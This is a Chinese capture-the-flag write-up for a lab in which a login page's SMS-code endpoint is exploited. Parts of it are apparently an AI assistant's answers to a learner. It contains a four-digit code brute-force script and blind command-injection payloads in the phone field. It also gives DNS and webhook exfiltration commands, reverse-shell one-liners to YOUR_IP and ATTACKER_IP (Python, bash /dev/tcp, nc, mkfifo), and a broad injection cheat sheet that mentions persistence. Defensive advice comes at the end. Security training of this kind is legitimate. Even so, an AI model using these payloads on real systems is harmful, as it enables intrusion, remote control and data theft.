好靶场-小王采购了一个发送验证码的工具-WP
关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。
学安全,别只看书上手练,就来好靶场,本WP靶场已开放,欢迎体验:
🔗 入口:http://www.loveli.com.cn/see_bug_one?id=571
✅ 邀请码:48ffd1d7eba24bf4
🎁 填写即领 7 天高级会员,解锁更多漏洞实战环境!快来一起实战吧!👇
漏洞发现过程
1. 初步分析
访问目标网站,发现是一个短信验证码登录页面。页面有两个主要接口:
/send- 发送验证码/login- 验证登录


[!question] 检查这个网页的代码有没有漏洞,这是个靶机,如果有告诉我利用方式和脚本
分析这个登录页面的代码,我发现了几个潜在的安全漏洞:
查看前端代码,发现验证码只有4位数字,存在明显的暴力破解漏洞。
2. 验证码爆破
编写Python脚本进行验证码爆破:
import requests
import time
BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"
def send_code(phone):
requests.post(f"{BASE_URL}/send", json={"phone": phone})
def brute_force_code(phone):
send_code(phone)
time.sleep(2)
for code_num in range(10000):
code = f"{code_num:04d}"
resp = requests.post(
f"{BASE_URL}/login",
json={"phone": phone, "code": code}
)
result = resp.json()
if result.get('success'):
print(f"[+] 验证码: {code}")
return code
if code_num % 100 == 0:
print(f"[*] 进度: {code_num}/10000", end='\r')
brute_force_code("18888888888")成功爆破出验证码 2898,但登录后提示:“恭喜登录成功了,但是登录成功了也没有Flag”。


玩呢?啊?
3. 命令注入测试
结合题目提示”采购的工具”和”短信验证码”标签,怀疑后端可能直接将手机号参数拼接到系统命令中。
测试Sleep命令注入:
import requests
import time
BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"
# 测试sleep命令
start = time.time()
resp = requests.post(
f"{BASE_URL}/send",
json={"phone": "18888888888; sleep 5"}
)
elapsed = time.time() - start
print(f"响应时间: {elapsed:.2f}秒")
发现Burp里面修改手机号后面加sleep命令,网页确实等待了5秒后才响应。
结果:响应时间约5秒,确认存在命令注入漏洞!
使用Burp Suite手动测试:
POST /send HTTP/1.1
Host: iuuga86.haobachang.loveli.com.cn:8888
Content-Type: application/json
{"phone":"18888888888; sleep 5"}响应时间明显延迟5秒,证实了命令注入漏洞的存在。
4. 尝试外带数据(失败)
由于命令执行结果不会回显到HTTP响应中,这是典型的盲命令注入。首先尝试使用DNS外带数据。
DNSLog外带尝试:
-
访问 http://dnslog.cn 获取临时域名:
g7nqkk.dnslog.cn -
测试网络连通性:
POST /send HTTP/1.1
Host: iuuga86.haobachang.loveli.com.cn:8888
Content-Type: application/json
{"phone":"18888888888; ping -c 1 g7nqkk.dnslog.cn"}- 尝试外带flag:
{"phone":"18888888888; curl `cat /flag`.g7nqkk.dnslog.cn"}
{"phone":"18888888888; ping -c 1 `cat /flag`.g7nqkk.dnslog.cn"}
{"phone":"18888888888; nslookup `cat /flag`.g7nqkk.dnslog.cn"}结果:DNSLog没有收到任何记录,说明靶机无法访问外网或DNS被限制。 放轻松,DNS弹不出来是正常的。
5. 探测Web目录结构
既然外带不通,尝试将命令执行结果写入到web可访问的目录中。
探测当前工作目录:
import requests
import time
BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"
print("[*] 目标: 将 /tmp/flag.txt 写入到web可访问目录\n")
# 首先找出当前工作目录
print("[*] 步骤1: 探测当前工作目录...")
probe_commands = [
"pwd > /tmp/pwd.txt",
"ls -la > /tmp/ls.txt",
"echo $(pwd) > /tmp/path.txt",
]
for cmd in probe_commands:
payload = f"18888888888; {cmd}"
requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
time.sleep(0.3)
# 尝试多种路径写入1.txt
print("\n[*] 步骤2: 尝试将flag写入到1.txt...")
write_commands = [
# 直接写到当前目录
"cat /tmp/flag.txt > 1.txt",
"cat /tmp/flag.txt > ./1.txt",
"cp /tmp/flag.txt 1.txt",
"cp /tmp/flag.txt ./1.txt",
# 写到可能的web根目录
"cat /tmp/flag.txt > /app/1.txt",
"cat /tmp/flag.txt > /app/static/1.txt",
"cat /tmp/flag.txt > ./static/1.txt",
"cat /tmp/flag.txt > static/1.txt",
# 尝试templates目录
"cat /tmp/flag.txt > /app/templates/1.txt",
"cat /tmp/flag.txt > ./templates/1.txt",
"cat /tmp/flag.txt > templates/1.txt",
]
for cmd in write_commands:
payload = f"18888888888; {cmd}"
try:
requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
print(f" ✓ 执行: {cmd}")
time.sleep(0.3)
except:
print(f" ✗ 失败: {cmd}")
# 尝试访问所有可能的路径
print("\n[*] 步骤3: 尝试访问1.txt...")
possible_paths = [
"/1.txt",
"/static/1.txt",
"/templates/1.txt",
"/app/1.txt",
"/app/static/1.txt",
"/app/templates/1.txt",
]
flag_found = False
for path in possible_paths:
try:
resp = requests.get(f"{BASE_URL}{path}", timeout=3)
if resp.status_code == 200 and len(resp.content) > 0:
print(f"\n{'='*60}")
print(f"[!!!] 成功找到: {BASE_URL}{path}")
print(f"{'='*60}")
print(f"FLAG内容: {resp.text}")
print(f"{'='*60}")
flag_found = True
break
else:
print(f" ✗ {path} - 状态码: {resp.status_code}")
except Exception as e:
print(f" ✗ {path} - 无法访问")
if not flag_found:
print("\n[!] 未能直接访问到文件")
print("[*] 尝试其他方法...\n")
# 方法2: 创建HTML文件嵌入flag
print("[*] 方法2: 创建HTML文件...")
html_commands = [
"echo '<html><body><pre>' > 1.html && cat /tmp/flag.txt >> 1.html && echo '</pre></body></html>' >> 1.html",
"cat /tmp/flag.txt > /app/static/1.html",
"cat /tmp/flag.txt > ./static/1.html",
]
for cmd in html_commands:
payload = f"18888888888; {cmd}"
requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
time.sleep(0.3)
html_paths = ["/1.html", "/static/1.html"]
for path in html_paths:
try:
resp = requests.get(f"{BASE_URL}{path}")
if resp.status_code == 200:
print(f"\n[!!!] HTML方式成功: {BASE_URL}{path}")
print(f"内容: {resp.text}")
flag_found = True
break
except:
pass
if not flag_found:
# 方法3: 尝试符号链接
print("\n[*] 方法3: 尝试创建符号链接...")
link_commands = [
"ln -sf /tmp/flag.txt /app/static/1.txt",
"ln -sf /tmp/flag.txt ./static/1.txt",
"ln -sf /tmp/flag.txt /app/1.txt",
"ln -sf /tmp/flag.txt ./1.txt",
]
for cmd in link_commands:
payload = f"18888888888; {cmd}"
requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
print(f" ✓ 执行: {cmd}")
time.sleep(0.3)
print("\n[*] 再次尝试访问...")
for path in possible_paths:
try:
resp = requests.get(f"{BASE_URL}{path}")
if resp.status_code == 200 and len(resp.content) > 0:
print(f"\n[!!!] 符号链接成功: {BASE_URL}{path}")
print(f"内容: {resp.text}")
break
except:
pass
POST /send HTTP/1.1
Host: iuuga86.haobachang.loveli.com.cn:8888
Content-Type: application/json
{"phone":"18888888888; pwd > /app/static/test.txt"}访问 http://iuuga86.haobachang.loveli.com.cn:8888/static/test.txt
结果:
/app成功!确认当前工作目录为 /app,且 /app/static 目录可通过web访问。
探测目录结构:
{"phone":"18888888888; ls -la /app > /app/static/ls.txt"}
{"phone":"18888888888; ls -la /tmp > /app/static/tmp.txt"}通过多次探测发现:
- 当前目录:
/app - 可写目录:
/app/static - Flag位置:
/tmp/flag.txt(通过ls /tmp发现)
6. 获取Flag
最终Payload:
POST /send HTTP/1.1
Host: iuuga86.haobachang.loveli.com.cn:8888
Content-Type: application/json
Content-Length: 70
{"phone":"18888888888; cat /tmp/flag.txt > /app/static/report.txt"}访问:http://iuuga86.haobachang.loveli.com.cn:8888/static/report.txt

成功获取Flag:
flag{976372a77dfd46b1816e229952e4a15e}漏洞原因分析
后端代码可能类似:
import os
from flask import Flask, request
@app.route('/send', methods=['POST'])
def send_sms():
phone = request.json.get('phone')
# 危险:直接将用户输入拼接到shell命令中
os.system(f"send_sms.sh {phone}")
return {"success": True, "msg": "验证码发送成功"}用户可控的 phone 参数被直接拼接到 os.system() 中执行,导致命令注入。
防御建议
- 输入验证:严格验证手机号格式,使用正则表达式
^1[3-9]\d{9}$ - 避免shell调用:使用Python的SMS库直接发送,避免调用shell命令
- 参数化:如必须使用shell,使用
subprocess的列表参数形式 - 最小权限:限制应用运行权限,避免访问敏感文件
# 安全的实现方式
import re
import subprocess
def send_sms(phone):
# 严格验证手机号
if not re.match(r'^1[3-9]\d{9}$', phone):
return {"success": False, "msg": "无效手机号"}
# 使用参数化调用,避免命令注入
subprocess.run(['/usr/bin/send_sms.sh', phone], check=True)
return {"success": True, "msg": "发送成功"}总结
这道题目考查了:
- 验证码爆破:4位纯数字验证码的安全风险
- 命令注入识别:通过sleep延时判断
- 盲注技巧:无回显情况下的数据外带
- 目录探测:寻找可写且可访问的web目录
- 实战思路:当常规外带方式失败时,灵活寻找其他突破点
Flag: flag{976372a77dfd46b1816e229952e4a15e}
意外发现,id居然是root,不是www-data,而是直接就是root。那怎么好意思不进来看看呢?
Python反弹Shell
{"phone":"18888888888; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'; sleep 5"}
YOUR_IP 用自己的公网服务器IP,推荐使用大麦云,找客服要优惠码 https://www.whdmw.com/recommend/A16nUFoB1Jhs
弹回shell后cat app.py 看逻辑
from flask import Flask, render_template, request, jsonify
import os
import sqlite3
from sqlite3 import Error
import time
import random
app = Flask(__name__)
# 用于存储手机号和验证码的映射
phone_code_map = {}
# 用于记录每个手机号的验证码发送次数
phone_send_count = {}
@app.route('/')
def index():
# 将参数传递给模板
return render_template('login.html')
@app.route('/send', methods=['POST'])
def send_code():
print("123")
data = request.get_json()
phone = data.get('phone', '')
# 记录发送次数
count = phone_send_count.get(phone, 0)
phone_send_count[phone] = count + 1
print(f"手机号 {phone} 已发送验证码次数: {phone_send_count[phone]}")
print(f"echo {phone} >> phone.txt")
os.system(f"echo {phone} >> phone.txt")
# 生成6位验证码
code = ''.join([str(random.randint(0, 9)) for _ in range(4)])
print("123")
# 将验证码和手机号绑定
phone_code_map[phone] = code
msg = f'验证码发送成功'
return jsonify({'success': True, 'msg': msg})
@app.route('/login', methods=['POST'])
def login():
data = request.get_json()
phone = data.get('phone', '')
input_code = data.get('code', '')
# 校验手机号格式
if not phone or not phone.isdigit() or len(phone) != 11 or not phone.startswith('1'):
return jsonify({'success': False, 'msg': '手机号格式不正确'})
# 校验验证码格式
if not input_code or not input_code.isdigit() or len(input_code) != 4:
return jsonify({'success': False, 'msg': '验证码格式不正确'})
# 验证码校验,需和手机号绑定
code = phone_code_map.get(phone)
if not code or input_code != code:
return jsonify({'success': False, 'msg': '验证码错误'})
# 登录成功
# 这里可以进行用户注册或登录逻辑
return jsonify({'success': True, 'msg': '恭喜登录成功了,但是登录成功了也没有Flag'})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)漏洞分析
关键代码(第26-27行)
print(f"echo {phone} >> phone.txt")
os.system(f"echo {phone} >> phone.txt")这就是典型的命令注入漏洞!
漏洞原理
- 用户可控输入:
phone参数完全来自用户的POST请求 - 直接拼接到shell命令:使用
os.system()直接执行拼接的字符串 - 没有任何过滤:虽然后面有格式验证(第42-43行),但这些验证在
/login路由中,而命令注入在/send路由的验证之前就执行了
攻击流程
用户请求 /send
↓
获取 phone 参数
↓
直接执行 os.system(f"echo {phone} >> phone.txt") ← 命令注入点
↓
生成验证码
↓
返回成功为什么需要 sleep?
查看代码逻辑:
/send路由执行命令后立即返回响应- 如果命令执行时间过长,HTTP响应可能在命令完成前就返回了
- 添加
sleep 5确保:- 命令有足够时间执行完成
- 文件写入操作完成
- 防止进程被过早终止
漏洞利用示例
# 正常使用
phone = "18888888888"
# 实际执行: echo 18888888888 >> phone.txt
# 命令注入
phone = "18888888888; cat /tmp/flag.txt > /app/static/flag.txt"
# 实际执行: echo 18888888888; cat /tmp/flag.txt > /app/static/flag.txt >> phone.txt
# ^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# 正常命令 注入的恶意命令
# 加上sleep确保执行
phone = "18888888888; cat /tmp/flag.txt > /app/static/flag.txt; sleep 5"
[!question] 怎么就发现了sleep 5 的那里我还想问一下,就是{“phone”:“18888888888”} 这里,怎么 想到sleep5 的,除了这个还有其他测试命令码
好问题!这是渗透测试中非常重要的思路。让我详细讲解命令注入的发现和测试过程:
命令注入漏洞的发现思路
1. 初步怀疑阶段
当看到这样的场景时,应该怀疑可能存在命令注入:
触发条件:
- 接口接收用户输入(手机号、邮箱、文件名等)
- 题目提示”采购的工具”、“第三方服务”(暗示可能使用shell脚本)
- 后端可能是Python/PHP/Node.js等脚本语言
- 功能涉及系统级操作(发送短信、文件处理、图片处理等)
心理过程:
用户输入 → 后端处理 → 如果后端直接调用系统命令?
↓
"发送验证码" → 可能调用短信发送脚本/工具
↓
是否直接拼接了用户输入?2. 为什么首先想到用 sleep?
Sleep是命令注入测试的”黄金标准”
原因:
A. 盲注友好
# 不需要看到输出,通过"时间"就能判断
正常请求耗时: 0.5秒
注入sleep 5: 5.5秒 ← 明显差异!B. 跨平台兼容
Linux: sleep 5
Windows: timeout /t 5
通用性强,几乎所有系统都有C. 无副作用
# 不会破坏系统
❌ rm -rf / # 危险!
❌ cat /etc/passwd # 可能触发IDS
✅ sleep 5 # 安全,只是等待D. 绕过输出过滤
# 即使返回被过滤,时间延迟无法隐藏
Response: {"success": true} # 看起来正常
但响应时间: 5秒 # 暴露了漏洞!3. 完整的命令注入测试流程
阶段1:初步探测(使用延时)
测试用例1:基础延时
# Linux
{"phone":"18888888888; sleep 5"}
{"phone":"18888888888 && sleep 5"}
{"phone":"18888888888 | sleep 5"}
{"phone":"18888888888 || sleep 5"}
# Windows
{"phone":"18888888888 & timeout /t 5"}
{"phone":"18888888888 && ping 127.0.0.1 -n 6"}判断方法:
import time
start = time.time()
# 发送请求
resp = requests.post(url, json={"phone": "18888888888; sleep 5"})
elapsed = time.time() - start
if elapsed >= 4.5: # 考虑网络延迟
print("✓ 命令注入存在!")测试用例2:不同的命令分隔符
# 分号(最常用)
; sleep 5
# AND运算符(前一个命令成功才执行)
&& sleep 5
# OR运算符(前一个命令失败才执行)
|| sleep 5
# 管道符(将前一个命令输出传给后面)
| sleep 5
# 反引号(命令替换)
`sleep 5`
# $() 命令替换(更现代)
$(sleep 5)
# 换行符(部分场景)
%0a sleep 5
\n sleep 5
# 后台执行
& sleep 5测试用例3:测试不同的延时时长
# 用于确认是否真的是命令注入
{"phone":"18888888888; sleep 3"} # 3秒
{"phone":"18888888888; sleep 7"} # 7秒
{"phone":"18888888888; sleep 10"} # 10秒
# 如果响应时间与sleep参数对应,基本确认漏洞阶段2:确认命令执行环境
测试用例4:判断操作系统
# Linux探测
{"phone":"18888888888; uname -a > /tmp/test"}
{"phone":"18888888888; cat /etc/os-release > /tmp/test"}
# Windows探测
{"phone":"18888888888 & ver"}
{"phone":"18888888888 & systeminfo"}测试用例5:判断当前用户
{"phone":"18888888888; whoami > /tmp/user.txt"}
{"phone":"18888888888; id > /tmp/user.txt"}测试用例6:判断当前目录
{"phone":"18888888888; pwd > /tmp/pwd.txt"}
{"phone":"18888888888; ls -la > /tmp/ls.txt"}阶段3:数据回显测试
测试用例7:写入Web可访问目录
# 假设是Flask/Django应用
{"phone":"18888888888; echo test123 > /app/static/test.txt"}
{"phone":"18888888888; whoami > ./static/out.txt"}
# PHP应用
{"phone":"18888888888; echo test > /var/www/html/test.txt"}
# 通用尝试
{"phone":"18888888888; pwd > ./test.txt"}测试用例8:DNS外带(需要有网络)
# 使用DNSLog
{"phone":"18888888888; nslookup test.dnslog.cn"}
{"phone":"18888888888; ping -c 1 test.dnslog.cn"}
{"phone":"18888888888; curl http://test.dnslog.cn"}测试用例9:HTTP外带
# 使用RequestBin/Webhook.site
{"phone":"18888888888; curl http://webhook.site/xxx?data=$(whoami)"}
{"phone":"18888888888; wget http://requestbin.net/xxx --post-data='data=$(id)'"}阶段4:高级利用
测试用例10:反弹Shell
# Bash反弹
{"phone":"18888888888; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}
# NC反弹
{"phone":"18888888888; nc ATTACKER_IP 4444 -e /bin/bash"}
{"phone":"18888888888; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"}
# Python反弹
{"phone":"18888888888; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"}4. 除了sleep,还有哪些测试命令?
基于时间的盲注(推荐,优先级最高)
# Linux
sleep 5 # 最常用
ping -c 5 127.0.0.1 # 延时5秒
timeout 5 # 需要安装
# Windows
timeout /t 5 # CMD
ping 127.0.0.1 -n 6 # 6次ping(约5秒)
Start-Sleep -s 5 # PowerShell
# 跨平台(通过脚本)
python -c "import time; time.sleep(5)"
perl -e "sleep 5"
ruby -e "sleep 5"基于布尔的盲注
# 测试文件是否存在
# 如果存在则sleep
{"phone":"18888888888; [ -f /etc/passwd ] && sleep 5"}
{"phone":"18888888888; test -f /etc/passwd && sleep 5"}
# 如果不存在则sleep
{"phone":"18888888888; [ ! -f /notexist ] && sleep 5"}
# 测试用户权限
{"phone":"18888888888; [ $(whoami) = 'root' ] && sleep 5"}基于输出的测试(需要回显)
# 简单命令
whoami # 当前用户
id # 用户ID和组
pwd # 当前目录
hostname # 主机名
uname -a # 系统信息
# 文件读取
cat /etc/passwd
cat /tmp/flag.txt
ls -la /
find / -name "flag*"
# 网络信息
ifconfig
ip addr
netstat -tulnp基于文件的测试
# 创建标记文件
{"phone":"18888888888; touch /tmp/pwned"}
{"phone":"18888888888; echo hacked > /tmp/test.txt"}
# 写入特定内容
{"phone":"18888888888; date > /tmp/timestamp.txt"}
{"phone":"18888888888; whoami > /app/static/user.txt"}基于错误的测试
# 故意触发错误,观察响应
{"phone":"18888888888; invalidcommand"}
{"phone":"18888888888; cat /nonexistent"}
# 语法错误
{"phone":"18888888888; $("}
{"phone":"18888888888; `"}6. 实战技巧总结
为什么sleep是首选?
| 测试方法 | 优点 | 缺点 |
|---|---|---|
| sleep延时 | ✅ 无需回显 ✅ 跨平台 ✅ 无副作用 ✅ 易于自动化 | ❌ 受网络延迟影响 |
| 文件写入 | ✅ 可验证执行 ✅ 持久化 | ❌ 需要知道路径 ❌ 需要写权限 |
| DNS外带 | ✅ 无需回显 ✅ 可获取数据 | ❌ 需要网络 ❌ 可能被监控 |
| 反弹Shell | ✅ 交互式 ✅ 权限最大 | ❌ 容易被发现 ❌ 需要公网IP |
测试顺序建议
1. sleep延时测试(确认漏洞存在)
↓
2. 环境探测(操作系统、权限、路径)
↓
3. 数据回显(写入文件或外带)
↓
4. 获取目标数据(读flag、敏感文件)
↓
5. 持久化/提权(可选)总结
为什么想到sleep?
- 这是渗透测试的标准做法
- 时间延迟是最可靠的盲注指标
- 无副作用,安全性高
- 教程和工具都优先推荐这个方法
其他测试命令的选择:
- 有回显 → 用
whoami,id,pwd - 无回显 → 用
sleep, DNS外带 - 需要数据 → 写入web目录或反弹shell
- 需要持久化 → 添加用户、计划任务
记住:先用sleep验证漏洞存在,再根据具体情况选择后续利用方式。这是最稳妥的思路!
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚